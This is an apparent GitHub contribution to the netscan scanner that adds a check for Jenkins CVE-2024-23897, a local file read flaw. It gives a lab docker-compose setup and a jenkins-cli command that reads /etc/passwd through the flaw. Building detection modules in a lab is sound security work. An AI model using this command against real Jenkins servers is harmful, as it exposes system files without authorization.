hegusung / netscan

Network scanner
MIT License
31 stars 12 forks source link

Add Jenkins Local File Read - CVE-2024-23897 #51

Open elweth-sec opened 6 months ago

elweth-sec commented 6 months ago

Hi @hegusung ,

Just a little new module to check CVE-2024-23897 (Local file read on Jenkins).

The exploit has been developped using the following method :

version: '2.2'
services:
  jenkins:
    image: vulhub/jenkins:2.441
    ports:
      - "50000:50000"
      - "8080:8080"
      - "5005:5005"
    init: true
    environment:
      - DEBUG=1

Debugging to identify the request

java -Dhttp.proxyHost=192.168.117.1 -Dhttp.proxyPort=8080 -jar jenkins-cli.jar -s http://192.168.117.136:8080/ -http connect-node "@/etc/passwd"

The bytes to send to trigger the local file read are the following :

image

The module that is based on :

Output without details :

image

And with details :

image

Elweth